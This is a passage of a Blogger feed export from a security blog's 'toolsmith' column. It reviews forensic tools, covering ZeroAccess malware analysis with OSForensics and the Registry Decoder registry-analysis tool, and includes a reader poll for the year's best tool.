href="http://1.bp.blogspot.com/-vgYDbkwiMDo/TwX0N3ESNtI/AAAAAAAAAl8/on857b36fuw/s1600/GMER.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="240" src="http://1.bp.blogspot.com/-vgYDbkwiMDo/TwX0N3ESNtI/AAAAAAAAAl8/on857b36fuw/s320/GMER.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span style="font-size: small; text-align: -webkit-auto;"&gt;&lt;b&gt;Figure 4:&lt;/b&gt; GMER bags ZeroAccess via OSForensics&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;I fed the resulting binary file to VirusTotal and wasrewarded for my efforts with hits for &lt;span style="font-family: 'Courier New';"&gt;Gen:Variant.Sirefef.38&lt;/span&gt;,a ZeroAccess variant.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;OSForensics features a &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;MemoryViewer&lt;/span&gt; from which you can conduct similar activity natively by selectinga given process (one you assume or have determined is malicious), select one offour dump options including &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Dump ProcessMemory Contents&lt;/span&gt;, then click &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Dump&lt;/span&gt;.The resulting .bin can be fed to VirusTotal or a similar service.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;But alas, you will not have made the utmost use of OSForensicsif you don’t capitalize on &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Hash Sets&lt;/span&gt;.I won’t get into great detail as to how to do so as again the tutorial videosare excellent. You will want to enable a given hash set by selecting it in theUI then clicking &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Make Active&lt;/span&gt;.One of the hash sets PassMark offers via download is a 124kb common &lt;a href="http://www.osforensics.com/download.html" target="_blank"&gt;Keyloggershash set&lt;/a&gt;. Youcan select a directory via &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;File NameSearch&lt;/span&gt;, then &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Search&lt;/span&gt;, thenright-click a file of interest (or CTRL-A to select all) and choose &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Look Up in Hash Set&lt;/span&gt;. As none of theacquired binaries for ZeroAccess matched the current hash set, I chose to scanmy &lt;a href="http://blog.trendmicro.com/trend-micro-exposes-lurid-apt/" target="_blank"&gt;Lurid&lt;/a&gt;&amp;nbsp;(theAPT) analysis folder to see what matches the hash set had for me. I used the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Sorting&lt;/span&gt; menu in the lower right-handcorner of the UI and set it to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;In HashSets&lt;/span&gt;; the results are seen &lt;b&gt;Figure 5&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Mfu16PlHZMQ/TwXz8w7Tm4I/AAAAAAAAAlw/WxV4kFCEYjo/s1600/HashSets.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="128" src="http://1.bp.blogspot.com/-Mfu16PlHZMQ/TwXz8w7Tm4I/AAAAAAAAAlw/WxV4kFCEYjo/s320/HashSets.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span style="font-size: small; text-align: -webkit-auto;"&gt;&lt;b&gt;Figure 5:&lt;/b&gt; Keylogger hashset checks&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;While OSForensics claimed to have matches, they were onlyfor 0 byte files that all show up with the MD5 hash of D41D8CD98F00B204E9800998ECF8427E.I’ll test this further with a known keylogger and determine what a real matchlooks like. I don’t fault OSForensics for this as I likely don’t have a samplekeylogger whose hash matched the hash set. Trying hash matching against knowngood system files worked admirably.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I didn’t even touch OSForensics password analysiscapabilities but will also likely do so in a future blog post. Do check outthat feature set via &lt;span style="font-family: &amp;quot;Courier New&amp;quot;;"&gt;Passwords&lt;/span&gt;for yourself and share your feedback. Recognize that OSForensics integratesRainbow Tables so as you can imagine, the possibilities are endless.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Don’t forget the expected disk image analysiscapabilities coupled with file carving. I tested this briefly (andsuccessfully) only to confirm what I consider a required and standard featurefor tools of this nature.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;In Conclusion&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I’ll admit I had no expectations for OSForensics as I hadno prior experience with it and to be quite candid, no awareness prior to Davidcontacting me. I always assume some risk when choosing such a tool given that Icould spend hours conducting research and analysis only to find the tool doesnot meet the standard for toolsmith discussion (can you say emergency topicchange?”). Such was &lt;i&gt;not&lt;/i&gt; the case withOSForensics. I was pleased with the results, disappointed I didn’t have moretime to spend on it before writing about it here, but looking forward makingmuch more use of it in the future. As always, let me know what you think, I’mhopeful you find it as intriguing as I have. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Ping me via email if you have questions (russ atholisticinfosec dot org).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Cheers…until next month. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Acknowledgements&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size: 11pt; line-height: 115%;"&gt;&lt;span style="font-family: inherit;"&gt;DavidWren, Managing Director, PassMark Software&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;!--[if !supportEndnotes]--&gt;&lt;br clear="all" /&gt;&lt;br /&gt;&lt;div id="edn9"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6882997938233673584?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6882997938233673584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6882997938233673584' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6882997938233673584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6882997938233673584'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2012/01/toolsmith-zeroaccess-analysis-with.html' title='toolsmith: ZeroAccess analysis with OSForensics'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-iSNjCWpMFzg/TwXwx-OtnSI/AAAAAAAAAlk/Y9ZZp7soCbI/s72-c/title.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-7920158871622851489</id><published>2011-12-20T10:08:00.000-08:00</published><updated>2012-01-04T07:45:34.498-08:00</updated><title type='text'>Choose the 2011 Toolsmith Tool of the Year</title><content type='html'>Merry Christmas and Happy New Year!&lt;br /&gt;It's that time again.&lt;br /&gt;Please vote below to choose the best of 2011, the 2011 Toolsmith Tool of the Year.&lt;br /&gt;We covered some outstanding information security-related tools in &lt;a href="https://www.issa.org/Members/Journal/" target="_blank"&gt;ISSA Journal&lt;/a&gt;'s &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt;&amp;nbsp;during 2011; which one do you believe is the best?&lt;br /&gt;I appreciate you taking the time to make your choice.&lt;br /&gt;You can review all 2011 articles &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;here&lt;/a&gt; for a refresher on any if the tools listed in the survey.&lt;br /&gt;You can vote through January 31, 2012.&lt;br /&gt;Results will be announced February 1, 2012.&lt;br /&gt;&lt;br /&gt;&lt;div id="surveyMonkeyInfo"&gt;&lt;div&gt;&lt;script src="http://www.surveymonkey.com/jsEmbed.aspx?sm=zTFj5gv4g67XEr_2bJ0GA3iQ_3d_3d"&gt;&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-7920158871622851489?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/7920158871622851489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=7920158871622851489' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7920158871622851489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/7920158871622851489'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/12/choose-2011-toolsmith-tool-of-year.html' title='Choose the 2011 Toolsmith Tool of the Year'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6656384120362968028</id><published>2011-12-02T23:28:00.001-08:00</published><updated>2011-12-02T23:57:53.666-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><title type='text'>toolsmith: Registry Decoder</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-W1PwGxZpJQc/TtnRY-iO08I/AAAAAAAAAkg/W9qAYwQQHAA/s1600/title.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="86" src="http://1.bp.blogspot.com/-W1PwGxZpJQc/TtnRY-iO08I/AAAAAAAAAkg/W9qAYwQQHAA/s320/title.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Prerequisites&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Binaries require no external dependencies; working from asource checkout requires Python 2.6.x or 2.7.x and additional third-party appsand libraries.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Merry Christmas:&lt;/b&gt;&lt;i&gt;"Christmas is not a time nor aseason, but a state of mind. To cherish peace and goodwill, to be plenteous inmercy, is to have the real spirit of Christmas.” &lt;/i&gt;-Calvin Coolidge&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Introduction&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Readers of the SANS Computer Forensics &lt;a href="http://computer-forensics.sans.org/" target="_blank"&gt;Blog&lt;/a&gt;&amp;nbsp;orHarlan Carvey’s Windows Incident Response&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px; line-height: 17px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://windowsir.blogspot.com/" target="_blank"&gt;blog&lt;/a&gt;have likely caught wind of &lt;a href="http://www.digitalforensicssolutions.com/registrydecoder/" target="_blank"&gt;Registry Decoder&lt;/a&gt;. Harlaneven went so far as to say “sounds like development is really ripping along (nopun intended). If you do any analysis of Windows systems and you haven't lookedat this tool as a resource, what's wrong with you?” When Registry Decoder was firstreleased in September 2011, I spotted it via Team Cymru’s Dragon News Bytesmailing list and filed it away for future use. Then, in most fortuitousfashion, Andrew Case, one of the Volatility developers I’d reached out to forSeptember’s Volatility column, contacted me regarding Registry Decoder in earlyNovember. Andrew co-develops Registry Decoder with Lodovico Marziale as part ofDigital Forensic Solutions and kindly provided me with content for theremaining entirety of this introduction.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Registry Decoder is open source (GPL) and writtencompletely in Python and is downloadable via Google Code projects. It wasinitially funded by the National Institute of Justice and now is funded byDigital Forensics Solutions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;Registry Decoder was devised to automate the acquisition,analysis, and reporting of registry contents. To accomplish this, there areactually two projects. The first is &lt;i&gt;&lt;a href="http://code.google.com/p/regdecoderlive/" target="_blank"&gt;RegistryDecoder Live&lt;/a&gt;&lt;/i&gt; which allows for the safe acquisition of registry files from alive machine by forcing a system restore point, thus putting the currentlyactive registry files into a read-only state in backup. It then reads thesefiles from backup either in System Restore Points for XP or from the VolumeShadow Service on Windows Vista &amp;amp; Windows 7. As Registry Decoder Live acquiresfiles, it creates a database that can then be imported into the second tool, &lt;i&gt;&lt;a href="http://code.google.com/p/registrydecoder/" target="_blank"&gt;Registry Decoder&lt;/a&gt;&lt;/i&gt;.&lt;br /&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Registry Decoder can analyze registry files from a numberof sources and then provide a number of GUI-driven analysis capabilities. Thecurrent version of the tool (1.1 as this is written) can import individualregistry files, raw (dd) disk images, raw (dd) split images, Encase (E01)images, and databases from the live tool. Once evidence is imported andpre-processed, the investigator then has a number of analysis tools availableand new evidence can be added to a case at any time. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Registry Decoder’s analysis capabilities include:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Browsing Hives (similar to Access Data’sRegistry Viewer)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Hive Searching (more on this below)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Plugin System (similar to regripper)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Hive Differencing&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Timelining based on last write time&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Path Based Analysis&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo1; text-indent: -.25in;"&gt;&lt;span style="font-family: Symbol;"&gt;·&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Automated reporting of all of the above&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Registry Decoder automates all of this functionality forany number of registry hives and the reporting can handle exporting resultsfrom multiple hives and analysis types into one report.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Andrew’s favorite Registry Decoder use case is USBSTORanalysis. Almost every case involving investigating a specific employee requiresdetermining which (if any) USB drives were in use.&amp;nbsp; To do this with Registry Decoder, all aninvestigator has to do is create a case with the disk images or hives acquired,run the &lt;span style="font-family: 'Courier New';"&gt;USBSTOR&lt;/span&gt; plugin, and thenexport the results. After pre-processing is done, it takes mere minutes to havea report created with the device name, serial number, etc. of any devicesconnected. Also, since Registry Decoder pulls historical files from livemachines and disk images (System Restore &amp;amp; Volume Shadow Service), thisanalysis can be run across hives going back months or years.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Similarly, while investigating data exfiltration betweenmultiple employees of a company, Andrew needed to know if they shared USBdrives. To make the determination he took the SYSTEM files from each machine,loaded them into Registry Decoder and then used the plugin differencing abilityon the &lt;span style="font-family: 'Courier New';"&gt;USBSTOR&lt;/span&gt; plugin. Itimmediately revealed what drives were shared between computers, including theirserial number.&amp;nbsp; Another common use of thedifferencing feature is with the &lt;span style="font-family: 'Courier New';"&gt;Services&lt;/span&gt;plugin as this quickly identifies malware if you difference your known gooddisk image vs. a disk image of a machine suspected to be infected. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Registry Decoder’s search feature is one of its strongestfeatures. It allows you to search across any number of hives and filter bykeys/values/names, last write time range, wildcard searching, and bulksearching with keyword files. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;For a recent case, Andrew had to determine if a personwas accessing files they shouldn’t have been looking at. They had a desktop anda laptop, both running XP and both with many System Restore Points. In lessthan 30 minutes with Registry Decoder, Andrew needed only load the disk imagesfrom the two machines into Registry Decoder, make a text file with all thesearch terms, and then search all the terms across all the hives in the case(including historical ones). This returned results that he then exported intoone report and was finished.&amp;nbsp; Another usefulsearch is noted when viewing the search results tab, right click on any result,and immediately jump into the &lt;span style="font-family: 'Courier New';"&gt;Browse&lt;/span&gt;view positioned at that key.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Another good use case includes path-based analysis whichallows you to determine if a registry path exists in any number of files. For whicheverfiles it is present in, one can then export the path and optionally itskey/value pairs. This is extremely useful in two situations: &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; text-indent: -.25in;"&gt;1.&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Determiningif certain software is installed (P2P, cracked software, etc.), as you can simplysearch any of the paths that the program creates and then export its key/valuesinclusive of when and where the software was installed. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l0 level1 lfo2; text-indent: -.25in;"&gt;2.&lt;span style="font: normal normal normal 7pt/normal 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Duringmalware analysis as most malware writes to the registry. Searching across numeroussuspect systems for the malware’s path allows investigators to immediately determinethe extent of infection.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Registry Decoder’s roadmap includes more analysis pluginsand added support for memory analysis (integrate with Volatility’s existingin-memory registry functionality).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;The developers also want to add support for analyzingpreviously deleted keys and name/value pairs within hives. The library utilizedfor enumerating hives, &lt;span style="font-family: 'Courier New';"&gt;reglookup&lt;/span&gt;,already supports this functionality so it is just a matter of integration.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Running theRegistry Decoder online acquisition component&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I ran regdecoderlive32 on a 32bit Windows XP SP3 virtualmachine infected with Lurid and regdecoderlive64 on a Windows 7 SP1 64bitmachine.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;One note for regdecoderlive32 on Windows XP systems with drivesformatted with NTFS. Even when running regdecoderlive32 with administratorprivileges the hidden System Volume Information directory is protected withunique ACLs. To circumvent this issue, issue &lt;span style="font-family: 'Courier New';"&gt;cacls"C:\System Volume Information" /E /G &lt;username&gt;:F&lt;/username&gt;&lt;/span&gt; from acommand prompt at the root of C: (this assumes the OS is installed on C:).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;As seen in Figure 1, running regdecoderlive is as simpleas executing and defining a few parameters including description, outputdirectory (must be empty) and check boxes for acquisition of current and backupfiles.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-PxdrN1O7fqU/TtnRXYRi8kI/AAAAAAAAAkI/yowi8ioVdpg/s1600/regdecoderlive.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="230" src="http://4.bp.blogspot.com/-PxdrN1O7fqU/TtnRXYRi8kI/AAAAAAAAAkI/yowi8ioVdpg/s400/regdecoderlive.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure1:&lt;/b&gt; Registry Decoder Live&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;Once acquisition is complete, the results directory willbe populated with &lt;span style="font-family: 'Courier New';"&gt;registryfiles/acquire_files.db&lt;/span&gt;and related files. This results directory can (should) be written to portablestorage mounted on the target system or a network share, which can then beconsumed by Registry Decoder for offline analysis.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Running theRegistry Decoder offline analysis component&lt;/b&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Registry Decoder can consume individual registry files,raw (dd) disk images, and Encase (E01) images, including split images. Buildinga case is as easy as adding a case name and number, investigator, comments, andcase directory. Adding evidence to a case after initial processing is createdis quite simple; you’ll be prompted to add new evidence after choosing &lt;span style="font-family: 'Courier New';"&gt;Start Case&lt;/span&gt; and opening an existingcase. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I only tested RegistryDecoder with the acquisition database acquired from a Lurid-infected Windows XPVM via Registry Decoder Live.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Initial processing can takesome time depending on the number of restore points or volume shadows.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Once initial processing iscomplete however, Registry Decoder is nimble and effective.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I mimicked some of Andrew’suse cases in this analysis of a &lt;a href="http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/12802_trend_micro_lurid_whitepaper.pdf" target="_blank"&gt;Lurid&lt;/a&gt;&amp;nbsp;victim. From runtime analysis of the Lurid sample I had (md5: 84d24967cb5cbacf4052a3001692dd54)I knew a few key attributes to 